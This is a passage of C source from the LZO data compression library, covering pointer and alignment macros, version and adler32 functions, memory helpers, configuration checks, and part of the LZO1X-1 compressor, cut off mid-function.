(((PTR_LINEAR(a) | PTR_LINEAR(b)) & 7) == 0) #endif #define PTR_LT(a,b) (PTR(a) < PTR(b)) #define PTR_GE(a,b) (PTR(a) >= PTR(b)) #define PTR_DIFF(a,b) (PTR(a) - PTR(b)) #define pd(a,b) ((lzo_uint) ((a)-(b))) LZO_EXTERN(lzo_uintptr_t) __lzo_ptr_linear(const lzo_voidp ptr); typedef union { char a_char; unsigned char a_uchar; short a_short; unsigned short a_ushort; int a_int; unsigned int a_uint; long a_long; unsigned long a_ulong; lzo_int a_lzo_int; lzo_uint a_lzo_uint; lzo_xint a_lzo_xint; lzo_int16_t a_lzo_int16_t; lzo_uint16_t a_lzo_uint16_t; lzo_int32_t a_lzo_int32_t; lzo_uint32_t a_lzo_uint32_t; #if defined(lzo_uint64_t) lzo_int64_t a_lzo_int64_t; lzo_uint64_t a_lzo_uint64_t; #endif size_t a_size_t; ptrdiff_t a_ptrdiff_t; lzo_uintptr_t a_lzo_uintptr_t; void * a_void_p; char * a_char_p; unsigned char * a_uchar_p; const void * a_c_void_p; const char * a_c_char_p; const unsigned char * a_c_uchar_p; lzo_voidp a_lzo_voidp; lzo_bytep a_lzo_bytep; const lzo_voidp a_c_lzo_voidp; const lzo_bytep a_c_lzo_bytep; } lzo_full_align_t; #ifdef __cplusplus } #endif #endif #ifndef LZO_DETERMINISTIC #define LZO_DETERMINISTIC 1 #endif #ifndef LZO_DICT_USE_PTR #define LZO_DICT_USE_PTR 1 #endif #if (LZO_DICT_USE_PTR) # define lzo_dict_t const lzo_bytep # define lzo_dict_p lzo_dict_t * #else # define lzo_dict_t lzo_uint # define lzo_dict_p lzo_dict_t * #endif #endif #if !defined(MINILZO_CFG_SKIP_LZO_PTR) LZO_PUBLIC(lzo_uintptr_t) __lzo_ptr_linear(const lzo_voidp ptr) { lzo_uintptr_t p; #if (LZO_ARCH_I086) #error "LZO_ARCH_I086 is unsupported" #elif (LZO_MM_PVP) #error "LZO_MM_PVP is unsupported" #else p = (lzo_uintptr_t) PTR_LINEAR(ptr); #endif return p; } LZO_PUBLIC(unsigned) __lzo_align_gap(const lzo_voidp ptr, lzo_uint size) { #if (__LZO_UINTPTR_T_IS_POINTER) #error "__LZO_UINTPTR_T_IS_POINTER is unsupported" #else lzo_uintptr_t p, n; p = __lzo_ptr_linear(ptr); n = (((p + size - 1) / size) * size) - p; #endif assert(size > 0); assert((long)n >= 0); assert(n <= size); return (unsigned)n; } #endif #if !defined(MINILZO_CFG_SKIP_LZO_UTIL) /* If you use the LZO library in a product, I would appreciate that you * keep this copyright string in the executable of your product. */ static const char __lzo_copyright[] = #if !defined(__LZO_IN_MINLZO) LZO_VERSION_STRING; #else "\r\n\n" "LZO data compression library.\n" "$Copyright: LZO Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer\n" "\n" "http://www.oberhumer.com $\n\n" "$Id: LZO version: v" LZO_VERSION_STRING ", " LZO_VERSION_DATE " $\n" "$Info: " LZO_INFO_STRING " $\n"; #endif LZO_PUBLIC(const lzo_bytep) lzo_copyright(void) { return (const lzo_bytep) __lzo_copyright; } LZO_PUBLIC(unsigned) lzo_version(void) { return LZO_VERSION; } LZO_PUBLIC(const char *) lzo_version_string(void) { return LZO_VERSION_STRING; } LZO_PUBLIC(const char *) lzo_version_date(void) { return LZO_VERSION_DATE; } LZO_PUBLIC(const lzo_charp) _lzo_version_string(void) { return LZO_VERSION_STRING; } LZO_PUBLIC(const lzo_charp) _lzo_version_date(void) { return LZO_VERSION_DATE; } #define LZO_BASE 65521u #define LZO_NMAX 5552 #define LZO_DO1(buf,i) s1 += buf[i]; s2 += s1 #define LZO_DO2(buf,i) LZO_DO1(buf,i); LZO_DO1(buf,i+1); #define LZO_DO4(buf,i) LZO_DO2(buf,i); LZO_DO2(buf,i+2); #define LZO_DO8(buf,i) LZO_DO4(buf,i); LZO_DO4(buf,i+4); #define LZO_DO16(buf,i) LZO_DO8(buf,i); LZO_DO8(buf,i+8); LZO_PUBLIC(lzo_uint32_t) lzo_adler32(lzo_uint32_t adler, const lzo_bytep buf, lzo_uint len) { lzo_uint32_t s1 = adler & 0xffff; lzo_uint32_t s2 = (adler >> 16) & 0xffff; unsigned k; if (buf == NULL) return 1; while (len > 0) { k = len < LZO_NMAX ? (unsigned) len : LZO_NMAX; len -= k; if (k >= 16) do { LZO_DO16(buf,0); buf += 16; k -= 16; } while (k >= 16); if (k != 0) do { s1 += *buf++; s2 += s1; } while (--k > 0); s1 %= LZO_BASE; s2 %= LZO_BASE; } return (s2 << 16) | s1; } #undef LZO_DO1 #undef LZO_DO2 #undef LZO_DO4 #undef LZO_DO8 #undef LZO_DO16 #endif #if !defined(MINILZO_CFG_SKIP_LZO_STRING) #undef lzo_memcmp #undef lzo_memcpy #undef lzo_memmove #undef lzo_memset #if !defined(__LZO_MMODEL_HUGE) # undef LZO_HAVE_MM_HUGE_PTR #endif #define lzo_hsize_t lzo_uint #define lzo_hvoid_p lzo_voidp #define lzo_hbyte_p lzo_bytep #define LZOLIB_PUBLIC(r,f) LZO_PUBLIC(r) f #define lzo_hmemcmp lzo_memcmp #define lzo_hmemcpy lzo_memcpy #define lzo_hmemmove lzo_memmove #define lzo_hmemset lzo_memset #define __LZOLIB_HMEMCPY_CH_INCLUDED 1 #if !defined(LZOLIB_PUBLIC) # define LZOLIB_PUBLIC(r,f) r __LZOLIB_FUNCNAME(f) #endif LZOLIB_PUBLIC(int, lzo_hmemcmp) (const lzo_hvoid_p s1, const lzo_hvoid_p s2, lzo_hsize_t len) { #if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMCMP) const lzo_hbyte_p p1 = LZO_STATIC_CAST(const lzo_hbyte_p, s1); const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, s2); if __lzo_likely(len > 0) do { int d = *p1 - *p2; if (d != 0) return d; p1++; p2++; } while __lzo_likely(--len > 0); return 0; #else return memcmp(s1, s2, len); #endif } LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemcpy) (lzo_hvoid_p dest, const lzo_hvoid_p src, lzo_hsize_t len) { #if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMCPY) lzo_hbyte_p p1 = LZO_STATIC_CAST(lzo_hbyte_p, dest); const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, src); if (!(len > 0) || p1 == p2) return dest; do *p1++ = *p2++; while __lzo_likely(--len > 0); return dest; #else return memcpy(dest, src, len); #endif } LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemmove) (lzo_hvoid_p dest, const lzo_hvoid_p src, lzo_hsize_t len) { #if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMMOVE) lzo_hbyte_p p1 = LZO_STATIC_CAST(lzo_hbyte_p, dest); const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, src); if (!(len > 0) || p1 == p2) return dest; if (p1 < p2) { do *p1++ = *p2++; while __lzo_likely(--len > 0); } else { p1 += len; p2 += len; do *--p1 = *--p2; while __lzo_likely(--len > 0); } return dest; #else return memmove(dest, src, len); #endif } LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemset) (lzo_hvoid_p s, int cc, lzo_hsize_t len) { #if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMSET) lzo_hbyte_p p = LZO_STATIC_CAST(lzo_hbyte_p, s); unsigned char c = LZO_ITRUNC(unsigned char, cc); if __lzo_likely(len > 0) do *p++ = c; while __lzo_likely(--len > 0); return s; #else return memset(s, cc, len); #endif } #undef LZOLIB_PUBLIC #endif #if !defined(MINILZO_CFG_SKIP_LZO_INIT) #if !defined(__LZO_IN_MINILZO) #define LZO_WANT_ACC_CHK_CH 1 #undef LZOCHK_ASSERT LZOCHK_ASSERT((LZO_UINT32_C(1) << (int)(8*sizeof(LZO_UINT32_C(1))-1)) > 0) LZOCHK_ASSERT_IS_SIGNED_T(lzo_int) LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_uint) #if !(__LZO_UINTPTR_T_IS_POINTER) LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_uintptr_t) #endif LZOCHK_ASSERT(sizeof(lzo_uintptr_t) >= sizeof(lzo_voidp)) LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_xint) #endif #undef LZOCHK_ASSERT union lzo_config_check_union { lzo_uint a[2]; unsigned char b[2*LZO_MAX(8,sizeof(lzo_uint))]; #if defined(lzo_uint64_t) lzo_uint64_t c[2]; #endif }; #if 0 #define u2p(ptr,off) ((lzo_voidp) (((lzo_bytep)(lzo_voidp)(ptr)) + (off))) #else static __lzo_noinline lzo_voidp u2p(lzo_voidp ptr, lzo_uint off) { return (lzo_voidp) ((lzo_bytep) ptr + off); } #endif LZO_PUBLIC(int) _lzo_config_check(void) { #if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030100ul && LZO_CC_CLANG < 0x030300ul)) # if 0 volatile # endif #endif union lzo_config_check_union u; lzo_voidp p; unsigned r = 1; u.a[0] = u.a[1] = 0; p = u2p(&u, 0); r &= ((* (lzo_bytep) p) == 0); #if !(LZO_CFG_NO_CONFIG_CHECK) #if (LZO_ABI_BIG_ENDIAN) u.a[0] = u.a[1] = 0; u.b[sizeof(lzo_uint) - 1] = 128; p = u2p(&u, 0); r &= ((* (lzo_uintp) p) == 128); #endif #if (LZO_ABI_LITTLE_ENDIAN) u.a[0] = u.a[1] = 0; u.b[0] = 128; p = u2p(&u, 0); r &= ((* (lzo_uintp) p) == 128); #endif u.a[0] = u.a[1] = 0; u.b[0] = 1; u.b[3] = 2; p = u2p(&u, 1); r &= UA_GET_NE16(p) == 0; r &= UA_GET_LE16(p) == 0; u.b[1] = 128; r &= UA_GET_LE16(p) == 128; u.a[0] = u.a[1] = 0; u.b[0] = 3; u.b[5] = 4; p = u2p(&u, 1); r &= UA_GET_NE32(p) == 0; r &= UA_GET_LE32(p) == 0; u.b[1] = 128; r &= UA_GET_LE32(p) == 128; #if defined(UA_GET_NE64) u.c[0] = u.c[1] = 0; u.b[0] = 5; u.b[9] = 6; p = u2p(&u, 1); u.c[0] = u.c[1] = 0; r &= UA_GET_NE64(p) == 0; #if defined(UA_GET_LE64) r &= UA_GET_LE64(p) == 0; u.b[1] = 128; r &= UA_GET_LE64(p) == 128; #endif #endif #if defined(lzo_bitops_ctlz32) { unsigned i = 0; lzo_uint32_t v; for (v = 1; v != 0 && r == 1; v <<= 1, i++) { r &= lzo_bitops_ctlz32(v) == 31 - i; r &= lzo_bitops_ctlz32_func(v) == 31 - i; }} #endif #if defined(lzo_bitops_ctlz64) { unsigned i = 0; lzo_uint64_t v; for (v = 1; v != 0 && r == 1; v <<= 1, i++) { r &= lzo_bitops_ctlz64(v) == 63 - i; r &= lzo_bitops_ctlz64_func(v) == 63 - i; }} #endif #if defined(lzo_bitops_cttz32) { unsigned i = 0; lzo_uint32_t v; for (v = 1; v != 0 && r == 1; v <<= 1, i++) { r &= lzo_bitops_cttz32(v) == i; r &= lzo_bitops_cttz32_func(v) == i; }} #endif #if defined(lzo_bitops_cttz64) { unsigned i = 0; lzo_uint64_t v; for (v = 1; v != 0 && r == 1; v <<= 1, i++) { r &= lzo_bitops_cttz64(v) == i; r &= lzo_bitops_cttz64_func(v) == i; }} #endif #endif LZO_UNUSED_FUNC(lzo_bitops_unused_funcs); return r == 1 ? LZO_E_OK : LZO_E_ERROR; } LZO_PUBLIC(int) __lzo_init_v2(unsigned v, int s1, int s2, int s3, int s4, int s5, int s6, int s7, int s8, int s9) { int r; #if defined(__LZO_IN_MINILZO) #elif (LZO_CC_MSC && ((_MSC_VER) < 700)) #else #define LZO_WANT_ACC_CHK_CH 1 #undef LZOCHK_ASSERT #define LZOCHK_ASSERT(expr) LZO_COMPILE_TIME_ASSERT(expr) #endif #undef LZOCHK_ASSERT if (v == 0) return LZO_E_ERROR; r = (s1 == -1 || s1 == (int) sizeof(short)) && (s2 == -1 || s2 == (int) sizeof(int)) && (s3 == -1 || s3 == (int) sizeof(long)) && (s4 == -1 || s4 == (int) sizeof(lzo_uint32_t)) && (s5 == -1 || s5 == (int) sizeof(lzo_uint)) && (s6 == -1 || s6 == (int) lzo_sizeof_dict_t) && (s7 == -1 || s7 == (int) sizeof(char *)) && (s8 == -1 || s8 == (int) sizeof(lzo_voidp)) && (s9 == -1 || s9 == (int) sizeof(lzo_callback_t)); if (!r) return LZO_E_ERROR; r = _lzo_config_check(); if (r != LZO_E_OK) return r; return r; } #if !defined(__LZO_IN_MINILZO) #if (LZO_OS_WIN16 && LZO_CC_WATCOMC) && defined(__SW_BD) #if 0 BOOL FAR PASCAL LibMain ( HANDLE hInstance, WORD wDataSegment, WORD wHeapSize, LPSTR lpszCmdLine ) #else int __far __pascal LibMain ( int a, short b, short c, long d ) #endif { LZO_UNUSED(a); LZO_UNUSED(b); LZO_UNUSED(c); LZO_UNUSED(d); return 1; } #endif #endif #endif #define LZO1X 1 #define LZO_EOF_CODE 1 #define M2_MAX_OFFSET 0x0800 #if !defined(MINILZO_CFG_SKIP_LZO1X_1_COMPRESS) #if 1 && defined(UA_GET_LE32) #undef LZO_DICT_USE_PTR #define LZO_DICT_USE_PTR 0 #undef lzo_dict_t #define lzo_dict_t lzo_uint16_t #endif #define LZO_NEED_DICT_H 1 #ifndef D_BITS #define D_BITS 14 #endif #define D_INDEX1(d,p) d = DM(DMUL(0x21,DX3(p,5,5,6)) >> 5) #define D_INDEX2(d,p) d = (d & (D_MASK & 0x7ff)) ^ (D_HIGH | 0x1f) #if 1 #define DINDEX(dv,p) DM(((DMUL(0x1824429d,dv)) >> (32-D_BITS))) #else #define DINDEX(dv,p) DM((dv) + ((dv) >> (32-D_BITS))) #endif #ifndef __LZO_CONFIG1X_H #define __LZO_CONFIG1X_H 1 #if !defined(LZO1X) && !defined(LZO1Y) && !defined(LZO1Z) # define LZO1X 1 #endif #if !defined(__LZO_IN_MINILZO) #include "lzo/lzo1x.h" #endif #ifndef LZO_EOF_CODE #define LZO_EOF_CODE 1 #endif #undef LZO_DETERMINISTIC #define M1_MAX_OFFSET 0x0400 #ifndef M2_MAX_OFFSET #define M2_MAX_OFFSET 0x0800 #endif #define M3_MAX_OFFSET 0x4000 #define M4_MAX_OFFSET 0xbfff #define MX_MAX_OFFSET (M1_MAX_OFFSET + M2_MAX_OFFSET) #define M1_MIN_LEN 2 #define M1_MAX_LEN 2 #define M2_MIN_LEN 3 #ifndef M2_MAX_LEN #define M2_MAX_LEN 8 #endif #define M3_MIN_LEN 3 #define M3_MAX_LEN 33 #define M4_MIN_LEN 3 #define M4_MAX_LEN 9 #define M1_MARKER 0 #define M2_MARKER 64 #define M3_MARKER 32 #define M4_MARKER 16 #ifndef MIN_LOOKAHEAD #define MIN_LOOKAHEAD (M2_MAX_LEN + 1) #endif #if defined(LZO_NEED_DICT_H) #ifndef LZO_HASH #define LZO_HASH LZO_HASH_LZO_INCREMENTAL_B #endif #define DL_MIN_LEN M2_MIN_LEN #ifndef __LZO_DICT_H #define __LZO_DICT_H 1 #ifdef __cplusplus extern "C" { #endif #if !defined(D_BITS) && defined(DBITS) # define D_BITS DBITS #endif #if !defined(D_BITS) # error "D_BITS is not defined" #endif #if (D_BITS < 16) # define D_SIZE LZO_SIZE(D_BITS) # define D_MASK LZO_MASK(D_BITS) #else # define D_SIZE LZO_USIZE(D_BITS) # define D_MASK LZO_UMASK(D_BITS) #endif #define D_HIGH ((D_MASK >> 1) + 1) #if !defined(DD_BITS) # define DD_BITS 0 #endif #define DD_SIZE LZO_SIZE(DD_BITS) #define DD_MASK LZO_MASK(DD_BITS) #if !defined(DL_BITS) # define DL_BITS (D_BITS - DD_BITS) #endif #if (DL_BITS < 16) # define DL_SIZE LZO_SIZE(DL_BITS) # define DL_MASK LZO_MASK(DL_BITS) #else # define DL_SIZE LZO_USIZE(DL_BITS) # define DL_MASK LZO_UMASK(DL_BITS) #endif #if (D_BITS != DL_BITS + DD_BITS) # error "D_BITS does not match" #endif #if (D_BITS < 6 || D_BITS > 18) # error "invalid D_BITS" #endif #if (DL_BITS < 6 || DL_BITS > 20) # error "invalid DL_BITS" #endif #if (DD_BITS < 0 || DD_BITS > 6) # error "invalid DD_BITS" #endif #if !defined(DL_MIN_LEN) # define DL_MIN_LEN 3 #endif #if !defined(DL_SHIFT) # define DL_SHIFT ((DL_BITS + (DL_MIN_LEN - 1)) / DL_MIN_LEN) #endif #define LZO_HASH_GZIP 1 #define LZO_HASH_GZIP_INCREMENTAL 2 #define LZO_HASH_LZO_INCREMENTAL_A 3 #define LZO_HASH_LZO_INCREMENTAL_B 4 #if !defined(LZO_HASH) # error "choose a hashing strategy" #endif #undef DM #undef DX #if (DL_MIN_LEN == 3) # define _DV2_A(p,shift1,shift2) \ (((( (lzo_xint)((p)[0]) << shift1) ^ (p)[1]) << shift2) ^ (p)[2]) # define _DV2_B(p,shift1,shift2) \ (((( (lzo_xint)((p)[2]) << shift1) ^ (p)[1]) << shift2) ^ (p)[0]) # define _DV3_B(p,shift1,shift2,shift3) \ ((_DV2_B((p)+1,shift1,shift2) << (shift3)) ^ (p)[0]) #elif (DL_MIN_LEN == 2) # define _DV2_A(p,shift1,shift2) \ (( (lzo_xint)(p[0]) << shift1) ^ p[1]) # define _DV2_B(p,shift1,shift2) \ (( (lzo_xint)(p[1]) << shift1) ^ p[2]) #else # error "invalid DL_MIN_LEN" #endif #define _DV_A(p,shift) _DV2_A(p,shift,shift) #define _DV_B(p,shift) _DV2_B(p,shift,shift) #define DA2(p,s1,s2) \ (((((lzo_xint)((p)[2]) << (s2)) + (p)[1]) << (s1)) + (p)[0]) #define DS2(p,s1,s2) \ (((((lzo_xint)((p)[2]) << (s2)) - (p)[1]) << (s1)) - (p)[0]) #define DX2(p,s1,s2) \ (((((lzo_xint)((p)[2]) << (s2)) ^ (p)[1]) << (s1)) ^ (p)[0]) #define DA3(p,s1,s2,s3) ((DA2((p)+1,s2,s3) << (s1)) + (p)[0]) #define DS3(p,s1,s2,s3) ((DS2((p)+1,s2,s3) << (s1)) - (p)[0]) #define DX3(p,s1,s2,s3) ((DX2((p)+1,s2,s3) << (s1)) ^ (p)[0]) #define DMS(v,s) ((lzo_uint) (((v) & (D_MASK >> (s))) << (s))) #define DM(v) DMS(v,0) #if (LZO_HASH == LZO_HASH_GZIP) # define _DINDEX(dv,p) (_DV_A((p),DL_SHIFT)) #elif (LZO_HASH == LZO_HASH_GZIP_INCREMENTAL) # define __LZO_HASH_INCREMENTAL 1 # define DVAL_FIRST(dv,p) dv = _DV_A((p),DL_SHIFT) # define DVAL_NEXT(dv,p) dv = (((dv) << DL_SHIFT) ^ p[2]) # define _DINDEX(dv,p) (dv) # define DVAL_LOOKAHEAD DL_MIN_LEN #elif (LZO_HASH == LZO_HASH_LZO_INCREMENTAL_A) # define __LZO_HASH_INCREMENTAL 1 # define DVAL_FIRST(dv,p) dv = _DV_A((p),5) # define DVAL_NEXT(dv,p) \ dv ^= (lzo_xint)(p[-1]) << (2*5); dv = (((dv) << 5) ^ p[2]) # define _DINDEX(dv,p) ((DMUL(0x9f5f,dv)) >> 5) # define DVAL_LOOKAHEAD DL_MIN_LEN #elif (LZO_HASH == LZO_HASH_LZO_INCREMENTAL_B) # define __LZO_HASH_INCREMENTAL 1 # define DVAL_FIRST(dv,p) dv = _DV_B((p),5) # define DVAL_NEXT(dv,p) \ dv ^= p[-1]; dv = (((dv) >> 5) ^ ((lzo_xint)(p[2]) << (2*5))) # define _DINDEX(dv,p) ((DMUL(0x9f5f,dv)) >> 5) # define DVAL_LOOKAHEAD DL_MIN_LEN #else # error "choose a hashing strategy" #endif #ifndef DINDEX #define DINDEX(dv,p) ((lzo_uint)((_DINDEX(dv,p)) & DL_MASK) << DD_BITS) #endif #if !defined(DINDEX1) && defined(D_INDEX1) #define DINDEX1 D_INDEX1 #endif #if !defined(DINDEX2) && defined(D_INDEX2) #define DINDEX2 D_INDEX2 #endif #if !defined(__LZO_HASH_INCREMENTAL) # define DVAL_FIRST(dv,p) ((void) 0) # define DVAL_NEXT(dv,p) ((void) 0) # define DVAL_LOOKAHEAD 0 #endif #if !defined(DVAL_ASSERT) #if defined(__LZO_HASH_INCREMENTAL) && !defined(NDEBUG) #if (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_LLVM) static void __attribute__((__unused__)) #else static void #endif DVAL_ASSERT(lzo_xint dv, const lzo_bytep p) { lzo_xint df; DVAL_FIRST(df,(p)); assert(DINDEX(dv,p) == DINDEX(df,p)); } #else # define DVAL_ASSERT(dv,p) ((void) 0) #endif #endif #if (LZO_DICT_USE_PTR) # define DENTRY(p,in) (p) # define GINDEX(m_pos,m_off,dict,dindex,in) m_pos = dict[dindex] #else # define DENTRY(p,in) ((lzo_dict_t) pd(p, in)) # define GINDEX(m_pos,m_off,dict,dindex,in) m_off = dict[dindex] #endif #if (DD_BITS == 0) # define UPDATE_D(dict,drun,dv,p,in) dict[ DINDEX(dv,p) ] = DENTRY(p,in) # define UPDATE_I(dict,drun,index,p,in) dict[index] = DENTRY(p,in) # define UPDATE_P(ptr,drun,p,in) (ptr)[0] = DENTRY(p,in) #else # define UPDATE_D(dict,drun,dv,p,in) \ dict[ DINDEX(dv,p) + drun++ ] = DENTRY(p,in); drun &= DD_MASK # define UPDATE_I(dict,drun,index,p,in) \ dict[ (index) + drun++ ] = DENTRY(p,in); drun &= DD_MASK # define UPDATE_P(ptr,drun,p,in) \ (ptr) [ drun++ ] = DENTRY(p,in); drun &= DD_MASK #endif #if (LZO_DICT_USE_PTR) #define LZO_CHECK_MPOS_DET(m_pos,m_off,in,ip,max_offset) \ (m_pos == NULL || (m_off = pd(ip, m_pos)) > max_offset) #define LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,max_offset) \ (BOUNDS_CHECKING_OFF_IN_EXPR(( \ m_pos = ip - (lzo_uint) PTR_DIFF(ip,m_pos), \ PTR_LT(m_pos,in) || \ (m_off = (lzo_uint) PTR_DIFF(ip,m_pos)) == 0 || \ m_off > max_offset ))) #else #define LZO_CHECK_MPOS_DET(m_pos,m_off,in,ip,max_offset) \ (m_off == 0 || \ ((m_off = pd(ip, in) - m_off) > max_offset) || \ (m_pos = (ip) - (m_off), 0) ) #define LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,max_offset) \ (pd(ip, in) <= m_off || \ ((m_off = pd(ip, in) - m_off) > max_offset) || \ (m_pos = (ip) - (m_off), 0) ) #endif #if (LZO_DETERMINISTIC) # define LZO_CHECK_MPOS LZO_CHECK_MPOS_DET #else # define LZO_CHECK_MPOS LZO_CHECK_MPOS_NON_DET #endif #ifdef __cplusplus } #endif #endif #endif #endif #define LZO_DETERMINISTIC !(LZO_DICT_USE_PTR) #ifndef DO_COMPRESS #define DO_COMPRESS lzo1x_1_compress #endif #if 1 && defined(DO_COMPRESS) && !defined(do_compress) # define do_compress LZO_PP_ECONCAT2(DO_COMPRESS,_core) #endif static __lzo_noinline lzo_uint do_compress ( const lzo_bytep in , lzo_uint in_len, lzo_bytep out, lzo_uintp out_len, lzo_uint ti, lzo_voidp wrkmem) { const lzo_bytep ip; lzo_bytep op; const lzo_bytep const in_end = in + in_len; const lzo_bytep const ip_end = in + in_len - 20; const lzo_bytep ii; lzo_dict_p const dict = (lzo_dict_p) wrkmem; op = out; ip = in; ii = ip; ip += ti < 4 ? 4 - ti : 0; for (;;) { const lzo_bytep m_pos; #if !(LZO_DETERMINISTIC) LZO_DEFINE_UNINITIALIZED_VAR(lzo_uint, m_off, 0); lzo_uint m_len; lzo_uint dindex; next: if __lzo_unlikely(ip >= ip_end) break; DINDEX1(dindex,ip); GINDEX(m_pos,m_off,dict,dindex,in); if (LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,M4_MAX_OFFSET)) goto literal; #if 1 if (m_off <= M2_MAX_OFFSET || m_pos[3] == ip[3]) goto try_match; DINDEX2(dindex,ip); #endif GINDEX(m_pos,m_off,dict,dindex,in); if (LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,M4_MAX_OFFSET)) goto literal; if (m_off <= M2_MAX_OFFSET || m_pos[3] == ip[3]) goto try_match; goto literal; try_match: #if (LZO_OPT_UNALIGNED32) if (UA_GET_NE32(m_pos) != UA_GET_NE32(ip)) #else if (m_pos[0] != ip[0] || m_pos[1] != ip[1] || m_pos[2] != ip[2] || m_pos[3] != ip[3]) #endif { literal: UPDATE_I(dict,0,dindex,ip,in); ip += 1 + ((ip - ii) >> 5); continue; } UPDATE_I(dict,0,dindex,ip,in); #else lzo_uint m_off; lzo_uint m_len; { lzo_uint32_t dv; lzo_uint dindex; literal: ip += 1 + ((ip - ii) >> 5); next: if __lzo_unlikely(ip >= ip_end) break; dv = UA_GET_LE32(ip); dindex = DINDEX(dv,ip); GINDEX(m_off,m_pos,in+dict,dindex,in); UPDATE_I(dict,0,dindex,ip,in); if __lzo_unlikely(dv != UA_GET_LE32(m_pos)) goto literal; } #endif ii -= ti; ti = 0; { lzo_uint t = pd(ip,ii); if (t != 0) { if (t <= 3) { op[-2] = LZO_BYTE(op[-2] | t); #if (LZO_OPT_UNALIGNED32) UA_COPY4(op, ii); op += t; #else { do *op++ = *ii++; while (--t > 0); } #endif } #if (LZO_OPT_UNALIGNED32) || (LZO_OPT_UNALIGNED64) else if (t <= 16) { *op++ = LZO_BYTE(t - 3); UA_COPY8(op, ii); UA_COPY8(op+8, ii+8); op += t; } #endif else { if (t <= 18) *op++ = LZO_BYTE(t - 3); else { lzo_uint tt = t - 18; *op++ = 0; while __lzo_unlikely(tt > 255) { tt -= 255; UA_SET1(op, 0); op++; } assert(tt > 0); *op++ = LZO_BYTE(tt); } #if (LZO_OPT_UNALIGNED32) || (LZO_OPT_UNALIGNED64) do { UA_COPY8(op, ii); UA_COPY8(op+8, ii+8); op += 16; ii += 16; t -= 16; } while (t >= 16); if (t > 0) #endif { do *op++ = *ii++; while (--t > 0); } } } } m_len = 4; { #if (LZO_OPT_UNALIGNED64) lzo_uint64_t v; v = UA_GET_NE64(ip + m_len) ^ UA_GET_NE64(m_pos + m_len); if __lzo_unlikely(v == 0) { do { m_len += 8; v = UA_GET_NE64(ip + m_len) ^ UA_GET_NE64(m_pos + m_len); if __lzo_unlikely(ip + m_len >= ip_end) goto m_len_done; } while (v == 0); } #if (LZO_ABI_BIG_ENDIAN) && defined(lzo_bitops_ctlz64) m_len += lzo_bitops_ctlz64(v) / CHAR_BIT; #elif (LZO_ABI_BIG_ENDIAN) if ((v >> (64 - CHAR_BIT)) == 0) do { v <<= CHAR_BIT; m_len += 1; } while ((v >> (64 - CHAR_BIT)) == 0); #elif (LZO_ABI_LITTLE_ENDIAN) && defined(lzo_bitops_cttz64) m_len += lzo_bitops_cttz64(v) / CHAR_BIT; #elif (LZO_ABI_LITTLE_ENDIAN) if ((v & UCHAR_MAX) == 0) do { v >>= CHAR_BIT; m_len += 1; } while ((v & UCHAR_MAX) == 0); #else if (ip[m_len] == m_pos[m_len]) do { m_len += 1; } while (ip[m_len] == m_pos[m_len]); #endif #elif (LZO_OPT_UNALIGNED32) lzo_uint32_t v; v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len); if __lzo_unlikely(v == 0) { do { m_len += 4; v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len); if (v != 0) break; m_len += 4; v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len); if __lzo_unlikely(ip + m_len >= ip_end) goto m_len_done; } while (v == 0); } #if (LZO_ABI_BIG_ENDIAN) && defined(lzo_bitops_ctlz32) m_len += lzo_bitops_ctlz32(v) / CHAR_BIT; #elif (LZO_ABI_BIG_ENDIAN) if ((v >> (32 - CHAR_BIT)) == 0) do { v <<= CHAR_BIT; m_len += 1; } while ((v >> (32 - CHAR_BIT)) == 0); #elif (LZO_ABI_LITTLE_ENDIAN) && defined(lzo_bitops_cttz32) m_len += lzo_bitops_cttz32(v) / CHAR_BIT; #elif (LZO_ABI_LITTLE_ENDIAN) if ((v & UCHAR_MAX) == 0) do { v >>= CHAR_BIT; m_len += 1; } while ((v & UCHAR_MAX) == 0); #else if (ip[m_len] == m_pos[m_len]) do { m_len += 1; } while (ip[m_len] == m_pos[m_len]); #endif #else if __lzo_unlikely(ip[m_len] == m_pos[m_len]) { do { m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if (ip[m_len] != m_pos[m_len]) break; m_len += 1; if __lzo_unlikely(ip + m_len >= ip_end) goto m_len_done; } while (ip[m_len] == m_pos[m_len]); } #endif } m_len_done: m_off = pd(ip,m_pos); ip += m_len; ii = ip; if (m_len <= M2_MAX_LEN && m_off <= M2_MAX_OFFSET) { m_off -= 1; #if defined(LZO1X) *op++ = LZO_BYTE(((m_len - 1) << 5) | ((m_off & 7) << 2)); *op++ = LZO_BYTE(m_off >> 3); #elif defined(LZO1Y) *op++ = LZO_BYTE(((m_len + 1) << 4) | ((m_off & 3) << 2)); *op++ = LZO_BYTE(m_off >> 2); #endif } else if (m_off <= M3_MAX_OFFSET) { m_off -= 1; if (m_len <= M3_MAX_LEN) *op++ = LZO_BYTE(M3_MARKER | (m_len - 2)); else { m_len -= M3_MAX_LEN; *op++ = M3_MARKER | 0; while __lzo_unlikely(m_len > 255) { m_len -= 255; 